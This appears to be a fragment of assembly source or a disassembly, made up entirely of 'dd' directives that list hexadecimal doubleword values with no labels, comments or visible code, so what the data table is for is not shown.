dd 1D769568h, 0EB102AB4h, 0CF4167F4h, 0ECD03F2Eh, 3037D440h
dd 2F3BAD53h, 745B06B8h, 0B47CD457h, 0FA7B12F8h, 265D986h
dd 9C34F246h, 8389A6AFh, 169AA1F0h, 8E13AC59h, 0EFF77BCCh
dd 0FCABFB7Ah, 6548E3Fh, 51A749ECh, 0C06EF472h, 0CF380BF4h
dd 0B678E987h, 0CDC4603Ch, 0B0859AF5h, 7A593DFDh, 0D71FABFh
dd 97FE69BFh, 52F1E466h, 0BA970E2h, 4667137Bh, 0DACFE953h
dd 0E25E230Dh, 0F581C112h, 85D408BDh, 4598C3C3h, 0A5F3911Fh
dd 0BFD3C3CEh, 10DBF50Ah, 0E690B95Ch, 0A7F89606h, 5466EDAh
dd 4CBAEFFEh, 9AE8B5D8h, 776A6C42h, 9E6912E9h, 0CF6A2FD6h
dd 106EDF49h, 233B0C5Eh, 8874BB55h, 1BA3482Fh, 0AC05C5D3h
dd 4094C23Bh, 194EC132h, 1048943Bh, 29E6A4D7h, 70A5B82Ah
dd 6B45E4FFh, 0C3658E5Bh, 4D642A5Fh, 65C5C75Fh, 506A0B35h
dd 0B0B38218h, 0D99BC540h, 0D36D7851h, 6BB8B85h, 0A2ECEA5Ah
dd 58AEB9B1h, 0C2B04C2Ch, 482FB5B2h, 2E0E5131h, 77926790h
dd 0BBE93FE3h, 58693A58h, 1FB2D406h, 7868D2F9h, 61F5AC8Ah
dd 0C298EC72h, 3E9CFFA1h, 49D90E61h, 9D33F711h, 0E19518DEh
dd 544031B4h, 74203203h, 0EFBA97E9h, 8D507C5h, 5D6BDE83h
dd 0A9325282h, 0A1F15A94h, 30E218ABh, 0C57F90AFh, 0C1424510h
dd 3E58FE08h, 66D5F245h, 0AFB7F3F4h, 4F22ED2Bh, 0A1229CBCh
dd 0B6441B84h, 351E587Eh, 0FD47D3D9h, 190FB607h, 9C0D7982h
dd 89DBACEDh, 6E82B950h, 9D865AE7h, 68F90924h, 257748C6h
dd 0BD1EE0FBh, 985149F2h, 4BDC0AE6h, 59353FC0h, 240A50h
dd 0B590E4C2h, 0E2F462E7h, 241A2BD2h, 37B4F384h, 0B6EF9BC3h
dd 1E2742C0h, 0DE5856A3h, 4D8C5B52h, 98499A7Eh, 496A90FAh
dd 6CAF167Ch, 5A5E409Eh, 7D2E4A3Fh, 0A2FFE259h, 0F6E04267h
dd 36677E14h, 0D273E331h, 5702B5F5h, 96084F7Fh, 385E6827h
dd 2C1D5EFEh, 151D4211h, 0E537252Dh, 0AC35D518h, 580755A8h
dd 0D9DF7608h, 35A4B9ADh, 0EB0ECD63h, 0AAED71C8h, 54FD833Bh
dd 8A814287h, 0E68F2DCBh, 0EA9CB385h, 0ED296302h, 35042C73h
dd 0A434473Bh, 0CEC25B21h, 63A5EA4h, 77ACF222h, 0AC1DA1Fh
dd 391D311Eh, 264FEBC8h, 61BD65BEh, 4F2FA028h, 0B2B89425h
dd 8492C5B3h, 0A6F8E8B9h, 0D3EEF927h, 0D62816AEh, 0A046A83Bh
dd 28BB8935h, 0C19507C4h, 326B56DAh, 9995B6ECh, 0BFC74493h
dd 0C44DEC36h, 0FABCD4CAh, 0B021BB2Bh, 0CA75B83Ch, 0A41BDFF1h
dd 1A13ED86h, 45F202E6h, 4B3A70Ah, 0D95D73DCh, 8EA1A0A9h
dd 63813994h, 2FA8763h, 0A0FCDF7Fh, 0BC080DC3h, 5B9FB990h
dd 81A3BCF1h, 9B1A2D66h, 5324301Fh, 4668608Dh, 52CB8A9Bh
dd 56B5BB3Eh, 82C69A2Ch, 6D904D27h, 191D7EDEh, 31C33C9Dh
dd 2D81560Bh, 0E69AF57Ah, 0D30E96D0h, 108E2D29h, 148DC2Dh
dd 0CFD43CB8h, 48EC59A0h, 4F012A67h, 0C4E6659Bh, 0FC6324F6h
dd 0FFC9C8DAh, 0E5F401DAh, 0F5681A23h, 0B2C484E2h, 0B8129142h
dd 9CF10F96h, 0A1BB36DAh, 0F9BFF997h, 0DCA63BB1h, 5CF3FDFh
dd 92AB6A5Eh, 6B4F1996h, 27D7DC2Eh, 26CB1D0Ah, 1129931Ch
dd 971EF0BCh, 0AB083581h, 5D9D060Dh, 6736CEBDh, 23A70C24h
dd 94FB558Ah, 8138986Dh, 4A4FD894h, 731A623Eh, 0AC283501h
dd 0DEF5FF2Ah, 0CAFD6C1Eh, 95AF1CA5h, 0AB7DF2ADh, 0C900686Ah
dd 900B9EC7h, 4DB98F8Ch, 23A24892h, 0A1D8BEC0h, 20300A64h
dd 4F99B0C2h, 0ED39DDC6h, 0F3477B09h, 0CA4A7EDCh, 236EB8A8h
dd 28963F8h, 9FD91DE3h, 0F8BED7C7h, 2AAC69BBh, 99FB82B8h
dd 0A87025ECh, 0DBFE1269h, 91370EAAh, 5F1B0BF0h, 0E0E7BE79h
dd 0FC221011h, 6F468DE6h, 0C74CF7F4h, 0B0DE996Eh, 4C161D4Fh
dd 8A1C6BCFh, 33E1E68Dh, 0D2EB7D8Eh, 432AEB88h, 0A5A4D90Bh
dd 4AC13D6Ch, 0B29D52C5h, 0B9630FC8h, 0B9B7BE2Dh, 24BF7B81h
dd 35A4C6B0h, 98FFB368h, 80E30BCDh, 4ABB93E9h, 91142568h
dd 0F180D8AAh, 0A44FF8E8h, 0E6ADF124h, 0F9F055A0h, 7CBA0389h
dd 684D956Fh, 1C4CA2B1h, 0E8349A15h, 0E0194829h, 71C27714h
dd 0B73715BCh, 2F5704D0h, 0F465CBEBh, 0E9355209h, 0DB11C75h
dd 0CC58B5F3h, 3656AF63h, 5E2118BEh, 2312233Dh, 6BB3629Ch
dd 62B7A6D3h, 711A43D7h, 177FF8E2h, 0AD9C9538h, 53FF3DBBh
dd 0B2A0E43Bh, 0C741525Dh, 0F67C3A16h, 2850D565h, 5E2A647Fh
dd 319A9513h, 5E44DFDDh, 99881901h, 0C9100C17h, 4ECA647Fh
dd 8AEBE929h, 42834002h, 675B6731h, 52207849h, 99C91F34h
dd 7F310A28h, 286263Fh, 51291C4Ch, 17CCC5E0h, 0E7446E4Fh
dd 0C4F0A6CDh, 9FA2D43h, 0F532199Fh, 74DB2A11h, 0C2D4EF5Fh
dd 175B73E8h, 0A66B44FCh, 5D4111CFh, 0A624D13Bh, 0A0F1B7F7h
dd 0EFA9BDE0h, 53616A34h, 0FFA43CA4h, 6A3B248Ch, 0EE61AC03h
dd 7CFE6781h, 1A61D1E3h, 0AB8D0EC5h, 0F8960F3Bh, 0F8B1B8BDh
dd 0BA5FCBEDh, 0F11D0055h, 49A23693h, 0D3334980h, 22C1A5C4h
dd 1E52BDDFh, 0D664A762h, 7FADC417h, 1A078714h, 0F3FBFD6Dh
dd 6F72E310h, 0EAB651B7h, 0E925C8AFh, 2A56EB0Dh, 893B3E43h
dd 2F76F563h, 650E1A82h, 0C8316295h, 52358834h, 0F63BA7E3h
dd 4FF2B735h, 0A064119h, 943AA109h, 0D0D8F52Eh, 707DF3EEh
dd 19626331h, 8C340474h, 18A8E1E2h, 21823E35h, 5D0FDAB6h
dd 0E0834108h, 3CEA5911h, 3A1D457Eh, 0D2BB1AC9h, 8952C32Dh
dd 0DD8A6876h, 48815B9Ah, 0E7767E0Fh, 0EDAF2B62h, 8B304DB5h
dd 9EF32A0Ch, 87E46F13h, 0C4484416h, 8BA6BF8h, 9E8F2396h
dd 0C44381DDh, 0B0FC5C7Bh, 5CE95857h, 808B7328h, 58CE6404h
dd 0AA869350h, 2B465F6Ah, 0DF7D179h, 0EBA6175Eh, 0EA0EAA9Bh
dd 7D7136A4h, 0C9DE972Fh, 7D78E792h, 172E1996h, 2919E602h
dd 7856AF5Dh, 7CD0F28h, 6F27595Eh, 492B39Ah, 38D1E72Ah
dd 2CFEF841h, 97EFE41Eh, 20F63688h, 0B673EA5Eh, 0A2C640CDh
dd 19DF6F97h, 0C07B427Eh, 5F39F1E8h, 0EBC0BE9Ch, 0E892532Dh
dd 0F2CEE380h, 16C2F8B3h, 6584E9ECh, 0AB896397h, 76A1FB19h
dd 85C44B37h, 13AF6F24h
dd 0F560FC87h, 3E3D801Ch, 24BD2CDFh, 7F798387h, 0FF816F3Ch
dd 3B2218B3h, 85D62C0Fh, 0FD633663h, 54D25AD0h, 0F8758771h
dd 0EEF39851h, 3FB0F676h, 42227FB1h, 8EA532B1h, 0F643B457h
dd 0D1A8E5ECh, 36B71794h, 8F46BA70h, 2E49FA62h, 45B0E0CCh
dd 9DE35169h, 2ADCAF0Ah, 0F2ADE891h, 0BD714123h, 39B5FCC7h
dd 94C5F8E4h, 4E469F39h, 997911D7h, 0EE1BA3C8h, 2A1AD1E4h
dd 0E2372662h, 12FAACF0h, 0B684336Bh, 5F9C8090h, 3DA1C331h
dd 1EF8D9DBh, 290E27BBh, 97F45D32h, 89CEE61Ah, 0B861B22Bh
dd 224FC6EEh, 2D37807Dh, 0B7C89AF5h, 4351908Fh, 23A422D5h
dd 9703CC72h, 0A0848DE7h, 4FFF56CEh, 761D616Dh, 303E317Dh
dd 0AAD24E3Ch, 0AB10973Ah, 0E8D7733h, 84761982h, 0E69D8E28h
dd 0FC61A56Ah, 78D11C09h, 0D9F1318Eh, 996BD115h, 1AC65335h
dd 0F83A36ABh, 0DFC1E923h, 42D70B29h, 0EFAA8C13h, 0FDE46F2h
dd 6DF27899h, 805E0046h, 6E2ED100h, 12BC042Ch, 8556CE9Ah
dd 62EC07D3h, 0FB44DCF4h, 70479D49h, 4BE5E6ABh, 796C87E9h
dd 7EBCCDCCh, 6029FA3Bh, 3FAF6200h, 0E604A8C8h, 474DC11Ch
dd 0C8064F26h, 5645D8B2h, 31FB1FF5h, 37CC9431h, 0C130EFF1h
dd 948749B4h, 2F262DBh, 0C0357DE8h, 40459A96h, 0E2792C0h
dd 0BB277DFBh, 275A1BD8h, 363F73B9h, 34A68929h, 330F26C9h
dd 93A2B525h, 9056E0AFh, 476E4AC2h, 0A2B2A69h, 1845DC4Ah
dd 0BD7C5100h, 0A864D8Eh, 73346E72h, 0F8443ABDh, 452FBAF5h
dd 78E473CEh, 0B75AAC24h, 0C6C2501Bh, 806D92E3h, 0D9D373BAh
dd 0DF210C85h, 94589AB1h, 6F217D85h, 0CFD6D061h, 4D02AA68h
dd 5AFFD214h, 5FA70DCBh, 76F48017h, 0D55C21A1h, 0E054C6AEh
dd 52B06BBBh, 0ADA29F2Fh, 0C679C9E4h, 2946EB89h, 0ABB4284Bh
dd 5D7705C7h, 0B2E6F95Bh, 6E73574h, 46FA4672h, 69084AA3h
dd 0AE94B66Bh, 21CBFEBDh, 4ED46844h, 195F6E15h, 137AE5A4h
dd 0C3E50264h, 1149F768h, 0D8273DE3h, 9F6EE7E9h, 2EC4F42Fh
dd 324C08DFh, 23A60720h, 2B9B8F4Ah, 0F28D8477h, 18D4F93Fh
dd 0C2A93FACh, 0AE645178h, 38FDE73Fh, 45DC03F8h, 0A216BC9Dh
dd 9FE9F69Ch, 2B5F05A8h, 382BB05Bh, 3281A1BBh, 0C5FBE706h
dd 6E5A5941h, 594044E3h, 128278F5h, 2A569C98h, 451063D5h
dd 0EFD51113h, 0E4CAC5E0h, 976A98BFh, 0EB12EE4Fh, 2DBF072Eh
dd 5383C77Ch, 0E7F38737h, 27F4CD5h, 0C7CF74BDh, 82BE1C12h
dd 11FB022Bh, 25FB72A4h, 0D074138Fh, 6DB7F330h, 645ADBFBh
dd 0FBE5BD06h, 0ADBEAAF6h, 4CB551Ah, 0E5D16E1Fh, 9CF4FA89h
dd 519162D0h, 26B98B1Bh, 2E741885h, 5CB3AD8Ah, 528EB8D3h
dd 86D00D4Ch, 38741CB7h, 4CF9DE2Bh, 0BB4129BAh, 0A2394DA6h
dd 9937F02Eh, 0D8BF6F4Ch, 3427F008h, 5E28FAF4h, 79B2B44Dh
dd 30241278h, 0F0A7107Ah, 9F116591h, 0FF3107h, 25ADD676h
dd 19A2E98Dh, 0E1433132h, 0EC15DBC9h, 222BE35Dh, 47CD79D1h
dd 0B20BDFEFh, 45219182h, 9033B23Eh, 116D49DDh, 5B6EBC1h
dd 0B5243D4h, 6EB3E67Ch, 9D8B8D92h, 41CC78F7h, 0D7D8538Fh
dd 3CC595F9h, 8D8F3827h, 0BB5F3968h, 50E044E6h, 0B255657Ch
dd 3488D001h, 0EF68B842h, 0DB755296h, 32E105E5h, 81525DDEh
dd 0B4043E4Ch, 9B15570h, 0B4A45A5Ah, 88E05083h, 0F9985190h
dd 0CA1EA009h, 7462B7FCh, 0DDB6461Bh, 0A10CC17Bh, 59E505CFh
dd 1F6909Ah, 8E03EEF9h, 160C4F86h, 200F2C13h, 44BB8C6h
dd 74C895F9h, 0A95AF349h, 0C78E3083h, 349DA9D3h, 13A2E9B5h
dd 724DEDFBh, 715D9D5h, 2DA68BECh, 669291EFh, 127AFAF7h
dd 0F7040F37h, 0A4076B0Ch, 3239FA23h, 0D6360E13h, 0D747341Ch
dd 0CD82687Fh, 7B8E1BA5h, 82D878AAh, 0D81F4477h, 16B1D1E3h
dd 0A434B54Bh, 1F96F859h, 5CDA08BEh, 9C6F193Fh, 0FFCA9A50h
dd 21593827h, 0B1C3E55Eh, 79D10FCDh, 573A00A6h, 0D06F7010h
dd 99FBEF7Ch, 7713ED22h, 0E1308210h, 0DDAC3D88h, 96F3095Ch
dd 4F16FC22h, 66A3099Ah, 26198A1Ah, 32A697B9h, 5DCD9DFFh
dd 0C94448A5h, 0CE1401D4h, 0B5ACF8C3h, 0EB8C9B6Eh, 387068DFh
dd 955FDB0Dh, 0E1757F36h, 7F105B0Eh, 406B99A1h, 3E7BA6ADh
dd 7AB80D7Dh, 547BB31h, 8B828D1Bh, 0FFE0765Dh, 63B830FBh
dd 93A59DABh, 58678716h, 2C77B2E5h, 0A8EC32D3h, 0F5C8D202h
dd 8873E3CFh, 0C10E7AF1h, 0C5C19218h, 0B5666456h, 4426A7E8h
dd 0B989E130h, 135B04F1h, 0A381E8A7h, 82C3B9AFh, 0EBB306A2h
dd 12FAACF9h, 1F58861Ah, 729D993Dh, 13AD5C2Eh, 5F9DAA45h
dd 0C111547Ah, 0CBC48568h, 47E7FD2Eh, 355FC5DDh, 3729E97Dh
dd 4DBC691h, 24EAAE57h, 0BF89D913h, 5D49E86Eh, 0EBD44E49h
dd 0D34DFF8Ah, 2A5CD28Ch, 0AFE84EC6h, 628AE22Bh, 27216EC1h
dd 0F452B716h, 0B7AB9B8Bh, 40085EE3h, 0BA01E7FFh, 0C37301BDh
dd 0BAC34DE5h, 0C8BA5360h, 847F794Ah, 215F9FD8h, 26C533FAh
dd 0BA5D21E0h, 5DCA8D61h, 0C99FA604h, 0FD1DBDACh, 0DB0A556Ch
dd 68CD615Ah, 7300AD96h, 82297BC7h, 0AFF0559h, 80E1B603h
dd 3ECFADC4h, 96629B18h, 0A382971Dh, 5E85581Dh, 9DD04556h
dd 51EDED03h, 8CA94947h, 5D428E80h, 4D4F945Bh, 0E49DCE01h
dd 6CA406E7h, 5BD5EB52h, 826A3448h, 3009237h, 0C1ED9E96h
dd 0E4A6D474h, 6CA29622h, 8ED46A58h, 0CD01A58Eh, 91A4E4Ch
dd 489B9160h, 0A3D9901Eh, 23499E4h, 0F16C196Fh, 2592EF1Bh
dd 499D48CBh, 0C2773967h, 5B04618Ah, 23D38DACh, 8EB358D7h
dd 62CC692Fh, 0DDB1E4Dh, 7ECACDAh, 22168BA3h, 0A8955604h
dd 0A0AA1F7h, 0DE3262F6h, 210B03A3h, 0EEB80F0h, 5311D170h
dd 0DA57D4B2h, 5D7437FEh, 9956D9B8h, 830091EBh, 82518599h
dd 0F9134F6Ch, 787F019Eh, 11F293B9h, 3D8035F3h, 5D438839h
dd 808AACF0h, 57E82A10h, 7E0A99E5h, 0D4BCED2h, 843CC3E0h
dd 609DD19Eh, 0BC38578Bh, 732C5321h, 35A24CA7h, 62EC8767h
dd 54EACEF3h, 0ED46F23Fh, 2CFFD522h, 0C9A164BDh, 415DCA05h
dd 0F73742CFh, 0B5C90B9Bh, 0B09B2667h, 0BA161176h, 497C5880h
dd 0D44AA81Ch, 0D7AAE1C4h, 18345314h, 0EE92D28Ah, 82F3A1B3h
dd 0E6FBF1CEh, 0A3152781h, 0ECB24038h, 0FAF91FEEh, 0BE91105Fh
dd 0AE6F63DCh, 0A3E56BC8h, 0F37A94F3h, 0FBC8C327h, 6FC394E7h
dd 9682B183h, 0A78396BFh, 0F30A1EC1h, 5449494Dh, 0C2CF04CAh
dd 7B55DEA6h, 0F482FA7Dh, 1B9C6A0Fh, 0E24947A5h, 47A690B4h
dd 87F5CF3Bh, 3825A281h, 0A3652024h, 8C2D3AADh, 0B75862B3h
dd 0F9F095C9h, 606029D9h, 49B0EA4Ch, 0DC33AFCBh, 40718533h
dd 5E892CFh, 0E60CBB66h, 25AA998h, 0F0B3F7FBh, 0DBEC60A7h
dd 63EC5CFEh, 315976CAh, 0CE939782h, 9862619Eh, 41EF9B8Dh
dd 152618BDh, 0B9F2023Eh, 0A86C8D8Fh, 2945BAB1h, 32F7F3FBh
dd 0B32B573h, 0BB359C9Fh, 0A2CF7BA9h, 0C64F211h, 784DF864h
dd 755ADD27h, 0ABCDD7DAh, 0EEFC716Ah, 0CFDD3B69h, 0A295E12Eh
dd 79152BBBh, 3D9D1B70h, 7BAA3018h, 6536C7Eh, 0D8C3537Dh
dd 0ED7DED68h, 483AFBAh, 6C4337CDh, 0DA66F8B0h, 89EAE338h
dd 0D843E904h, 0C8B7A5B4h, 900D157Bh, 6E93A4B8h, 63E88711h
dd 0DFDC4683h, 93F56A98h, 921BD51Ah, 52CED591h, 0C13563B3h
dd 37317C63h, 0DEB9E3CAh, 7B8DCD21h, 0A708185h, 7F36F028h
dd 4A0D2E59h, 9C01EC18h, 0F67DAA8Dh, 826A6DC8h, 726A5090h
dd 219C390Ch, 0BF6B9C28h
dd 85052525h, 7F86D3C8h, 5188D294h, 0A514125h, 0A86F1BC1h
dd 0F52ECA62h, 2AF7CE72h, 156F9912h, 81414CC3h, 2A6D95D5h
dd 1F2CF218h, 0A0FB2261h, 0D2D847F2h, 3AD0AAD6h, 0A6A722DDh
dd 337CC5D6h, 7F585E5Fh, 0C9A90D7Ch, 3303AADh, 196A6A29h
dd 0E19C361h, 39BE8C79h, 92C1AFD6h, 0A7A3E791h, 0F3CFBA7Ch
dd 0B2F201Ah, 0C536F5C0h, 8CF5BFE5h, 50FBADF1h, 3636B4D3h
dd 0A1B5F6B0h, 0CC5D85C2h, 0C482A2B3h, 7D437AC0h, 0F3E5FBAh
dd 532097B2h, 0EF44A13Fh, 0CB5E8D63h, 0A3A94D23h, 464FF49Eh
dd 9829FAE6h, 99F2354Fh, 73772F11h, 0F314C0F9h, 8CAEA18Bh
dd 0E16DA205h, 3316100Ah, 97F7FBBh, 0D0DEA49Ch, 0D2C84574h
dd 9B4B591Bh, 0AD64567Eh, 16D91415h, 0B9F7D48Eh, 381F5B23h
dd 0DBA90D5h, 0F65CF20h, 1DE7928Dh, 0C70A29F5h, 0F54AFFEEh
dd 95CCAC3Dh, 0B75BC0B1h, 672964C7h, 0A3431DCAh, 0B5C3E19Eh
dd 123FE2EFh, 60055884h, 9D1E7D6Fh, 70ACF452h, 0DE57BEFEh
dd 1E66FDD1h, 0FF6E453Bh, 0ADAFF198h, 4F1F128Dh, 48F57D2Fh
dd 9ED3D22Eh, 3D6B474h, 0D61EDD84h, 4AEE34FBh, 7628323Ch
dd 111EFC1Eh, 390E68EDh, 59F90403h, 48B62C84h, 0F8020DF8h
dd 0D4D11F69h, 860CF296h, 0B6784710h, 72E700C8h, 82BD674Fh
dd 408C776Eh, 17FE4E41h, 0CF5317B7h, 29555AF9h, 24D9C262h
dd 0C1E7F7D9h, 0C3257090h, 2468996Bh, 0FC5954AAh, 366568DAh
dd 4EEE2F78h, 0BC77A330h, 1ECDB7D9h, 252135F6h, 3004661h
dd 531CA9D6h, 0A0252B0Eh, 0ADD8C9ACh, 0ED621808h, 31306746h
dd 48851E63h, 0E7E7D6C2h, 7664161h, 2B544698h, 0F6BBEDAAh
dd 0B0B0061Dh, 0A1D5B2A4h, 75A7CC6Ah, 6781B888h, 5C9122DEh
dd 4BDBE109h, 0FB16AD51h, 7688778Ch, 1EA1CFFEh, 1A2D0B0Ah
dd 0DDB58C58h, 0A667A8D2h, 0A0F515C8h, 2AB6BEF5h, 9D8E10EAh
dd 70C17971h, 0A05ECF29h, 9EB2AA2Ch, 0FF4830E8h, 7C214052h
dd 0F7BC9018h, 59D9543Fh, 7BCCA20Bh, 6294A83Eh, 0B5159934h
dd 0DCC58A10h, 7545F458h, 0A1A166ABh, 0E6DD3CBh, 3D5EC390h
dd 355BE02Dh, 12AADB83h, 0F7EBE6D8h, 7D459585h, 24DCA84Fh
dd 776DDDE5h, 0DC237F73h, 16C76F4Ch, 0C7670BBAh, 3D2D1540h
dd 3C1D85D6h, 0C273BDBAh, 46D04B75h, 0D6B1BA68h, 0EE5F619Fh
dd 0ED4E0195h, 1E726752h, 7FD66EB8h, 0D4B569A7h, 0BAE7FB1Dh
dd 9106E667h, 0FC416FCFh, 45A558ADh, 97EF6445h, 9EBEBEF2h
dd 89D1D0AAh, 0C913D7DDh, 3B10F508h, 6DA759DAh, 0D82A8FB1h
dd 4F28B8C1h, 4C1439A8h, 0B7B1FF8h, 62058712h, 397C811Ah
dd 0DACECC65h, 0D514E21Fh, 2C5053F0h, 0AFBB07BFh, 0ECAA95C5h
dd 0E225EC4Fh, 3CBE2CF9h, 0F6FE691h, 0C3800A90h, 9E108D6Dh
dd 1C739D36h, 0CC6565ACh, 60731EB6h, 0F77720AAh, 0BE1CB70Bh
dd 62EB04F0h, 0E2310991h, 4601FF06h, 0FB9C16FCh, 3CB3FE66h
dd 8044905Bh, 0B0C037Dh, 0F8C1D790h, 0AF012823h, 8DF31097h
dd 0B213666Ah, 0C513E84Ch, 0A77787F6h, 0DA51FA51h, 32C7D2DEh
dd 9E0DAEF4h, 0FB59C624h, 523896B5h, 79DCEF55h, 1AFE3ACBh
dd 0A5EE2BA3h, 9BD4F842h, 9C60EC9Bh, 518130E2h, 70FB49F3h
dd 9BE101FBh, 0DA616A05h, 55C3B3ABh, 48E5108Fh, 527BA1A6h
dd 2E1BF649h, 68D2FA03h, 0D092E9A8h, 0F067147Ah, 9F4A13ACh
dd 1F9FB8D4h, 0E1E0197Eh, 0D67C489Bh, 0AB8D9EE8h, 13E8A1DEh
dd 466FC1D1h, 3DAD927Dh, 0AC8AE235h, 0DE4519B5h, 0F1D06FB7h
dd 4A36FC1Eh, 7DDBC63Fh, 0A322D769h, 27E44E12h, 2D082AB6h
dd 0C284AE03h, 7F9D92CFh, 36C72260h, 33D26125h, 0CF3A3842h
dd 234CD7A1h, 5C37262Fh, 857912BAh, 2C236491h, 577380F4h
dd 0BB53E4C9h, 0A615A410h, 40E23EFCh, 8AA92533h, 60EDE4BBh
dd 0CDB46EC8h, 67C21EEFh, 76FB841Dh, 23A70FABh, 0A27B4DD7h
dd 31A50258h, 0AA00A58Bh, 8B510493h, 72352A52h, 0DFEE5617h
dd 59EAFC43h, 1629C9C3h, 19EE569Bh, 0FF04E91Dh, 0F39C1ADFh
dd 17FBBD2Ah, 0B722B1EDh, 0C41974F7h, 0B1B1C2CEh, 3DEBC5C5h
dd 2EF4C464h, 12484588h, 6B849473h, 3DCA499h, 0A1006601h
dd 141FA448h, 0D9B7BC44h, 37E4D261h, 3DB232EDh, 644F1ECBh
dd 984CB2DCh, 71E295D4h, 0E2CB8DA9h, 80277093h, 30898BF2h
dd 0D9FE4804h, 580DB950h, 0BEC55DD7h, 0CCCD85B8h, 0C6ED6EC2h
dd 213E92E1h, 0A4C8EC3Ah, 4300A720h, 1BBCFCFEh, 571DC000h
dd 79DC08C4h, 1732C1BEh, 1685BFB3h, 161BF0ECh, 1B280D2h
dd 1026A22Bh, 0EE331A4Eh, 3C5BDB65h, 6630DC48h, 0A1F35D06h
dd 184038FAh, 69C8194Ch, 0DB12A9Ch, 0B1A10766h, 335D170Fh
dd 0C1685A8Fh, 0D6AE98E0h, 8B19358Ah, 8DF7DB82h, 523DF455h
dd 697FB527h, 4269E79Fh, 981F6082h, 70012F8Bh, 0B0E12877h
dd 171C6BC4h, 7CA8C4A6h, 4E8F58F1h, 3ECD0699h, 988F819Eh
dd 0E3AC90EAh, 0E80C7850h, 99123B25h, 9FC03025h, 83D47B72h
dd 0A0B4937Dh, 73CF651Eh, 0A5AEAD5Bh, 86717DC0h, 91E300Eh
dd 0AEDF2F7Eh, 97C93AA0h, 0FA2EE6D3h, 7BAD2859h, 9C12AAEAh
dd 0C2D1AF69h, 5647D886h, 0C3A977ABh, 41954491h, 0CDDD91D2h
dd 0AF3487C9h, 0CB9B06DCh, 2AB71645h, 0D5856299h, 0EB491A8Ah
dd 0C10535EDh, 792F1D9Ch, 5B663852h, 0AE6CC54Dh, 5469315Fh
dd 0A7885028h, 6F549774h, 4E03D05Ah, 0AF833574h, 19A4E56Eh
dd 621A564Bh, 0E956116h, 73903391h, 7E22FA44h, 6B580D64h
dd 99FFB760h, 0C3905CC4h, 7C847E48h, 2E9885DDh, 2316BF8Dh
dd 0EDE599D0h, 0ED73CC42h, 0C426B97Ch, 0AE424581h, 462CC90Ch
dd 544D5DBh, 0FD63034Fh, 89756FD6h, 579CABBDh, 3A6FEFBFh
dd 7CDB31ABh, 47348D96h, 66EC92DAh, 40C6B0CEh, 4E1944CBh
dd 5B13A99Bh, 779B65D3h, 0D64A8B9Eh, 0EF10D5F6h, 0AB3D02DEh
dd 98A99F8Ah, 0DDDC864h, 3484BF07h, 7447B33Dh, 0CB17E4Bh
dd 1987EB35h, 0D73E24A7h, 5EE9B0B1h, 3E9F6857h, 6272280Ch
dd 3A38D802h, 54393AB5h, 5C3CA781h, 2B21857Eh, 3B64CDF1h
dd 0F35F2497h, 0BEC30399h, 1D618AF9h, 251C33D9h, 3245C0B2h
dd 0DA4C2ACFh, 7A0C5A39h, 0B63399BEh, 0B37B9DCBh, 0D35CFFD0h
dd 0F4702616h, 0FB119DFDh, 40F743F3h, 0F1DD0A7Eh, 6BEB8A58h
dd 0A272792Ch, 0E2A03AEFh, 6A3AC7C5h, 8E7802B2h, 1ADA533Eh
dd 0B14949CDh, 981FC72Ah, 0DCD703Ch, 0B094D720h, 52072C11h
dd 1F58EEF8h, 3D9E4723h, 0A4DF2660h, 0B6B1DBC5h, 0B7168CF4h
dd 0AE98BB9Eh, 431F03B8h, 0BF32E47Fh, 8BDEC3C6h, 6A6944E4h
dd 0E4091452h, 0BDF0E0E8h, 47BDA87h, 7977559Ah, 10B1249Ah
dd 2C25CE31h, 0D5240396h, 0DD30084Dh, 14DD508Dh, 0FF05FFC8h
dd 0B4932773h, 0DCB3D929h, 274A89D2h, 0F4F7F9ACh, 3AC4D4EDh
dd 938172AFh, 85E1AF5Bh, 0FBBED759h, 0F40DD81h, 99CB68C0h
dd 95DB1A00h, 990F2A4Dh, 0ED955E63h, 0D620214Fh, 5F6D4C07h
dd 2DB8185Ch, 0C608C2E9h, 364770ADh, 33C9F1DFh, 3F8AA843h
dd 2E5EBB33h, 3BAE7BA9h, 0D25B9F1Eh, 0D3C50C83h, 4EFB96BEh
dd 6948D875h, 0D988BC5h, 0A0C182FCh, 79C3FD8Dh, 1AF86C4Eh
dd 0A3900D71h, 963C591Ah, 0E256ED84h, 0AA69486Eh, 8C047C2Fh
dd 70CB4F97h, 0C22EAED0h, 0A3BAB8D7h, 66FFC3C6h, 7C0B2FF1h
dd 2F2662EBh, 0E344D5B3h, 5623C559h, 5BBC8089h, 0D76A29C4h
dd 1EEE15D7h, 0C97401C5h, 0AF56BF4Bh, 11088415h, 97EDEAC8h
dd 0D25BEB50h, 0A4E2D338h
dd 0B24AED9h, 313B1C2h, 1E813476h, 0F11A123Bh, 72EE25B9h
dd 2FFAF488h, 32118E62h, 0C07721F1h, 3E3BDF97h, 407F1856h
dd 0FD8ADE48h, 0B331B401h, 466A896Ah, 4C30BAD4h, 7BE091B2h
dd 7C92DFA0h, 6A63C856h, 6F42129Ch, 7BE6A555h, 461EECBFh
dd 69204B21h, 925A0591h, 3A41473Bh, 0CE99C109h, 52DFB029h
dd 98B43F49h, 31529FD8h, 87A53D1h, 72A1268Eh, 0D9F17933h
dd 33562D7Dh, 0DD5B397Ch, 1C600CE1h, 0E0D2F8DCh, 0B540A19Dh
dd 8C06FF32h, 0B8ED9A0Eh, 34A7A3EEh, 0FECC8091h, 7C26A39Bh
dd 0FAC7C965h, 0B092D828h, 0C988B136h, 5E874F5Bh, 0CF9E941Fh
dd 8734478Dh, 573951F8h, 0AA46803h, 0FFF2C91Ah, 7DF840F2h
dd 28F19154h, 237D6874h, 2E21D40Ah, 0B6CCCF0h, 3E2E0930h
dd 0D0FBA446h, 909D24EAh, 518D3C4Ah, 97C76EAEh, 0D1C66636h
dd 0EEC1C951h, 16F820C2h, 8A8D2E15h, 1E516F23h, 2B881934h
dd 0ACF6ABA2h, 0C99D2D97h, 262FF7FDh, 28641AD5h, 0B61B50B0h
dd 24E14484h, 23E5CD3Ch, 77CDD227h, 0A5867276h, 1F0B0498h
dd 0D3B7EDDh, 7E509CDCh, 0A7036E37h, 0E3526D0Eh, 44A911ACh
dd 0EDACB687h, 0FE01E1A3h, 0AED52566h, 6429D871h, 86F33A7Fh
dd 0EB838CB1h, 68100357h, 444A826Dh, 57727A10h, 5A583380h
dd 37776EDCh, 3C5546BBh, 0DCB7173Bh, 36A1AD71h, 2611B250h
dd 0F94DCE1Fh, 0E65F675Fh, 0BDBCC39Ch, 8B3BE6A5h, 9A92D3Bh
dd 0E2D9015Dh, 14D78472h, 33E09F36h, 63DEFB97h, 0D517E9B2h
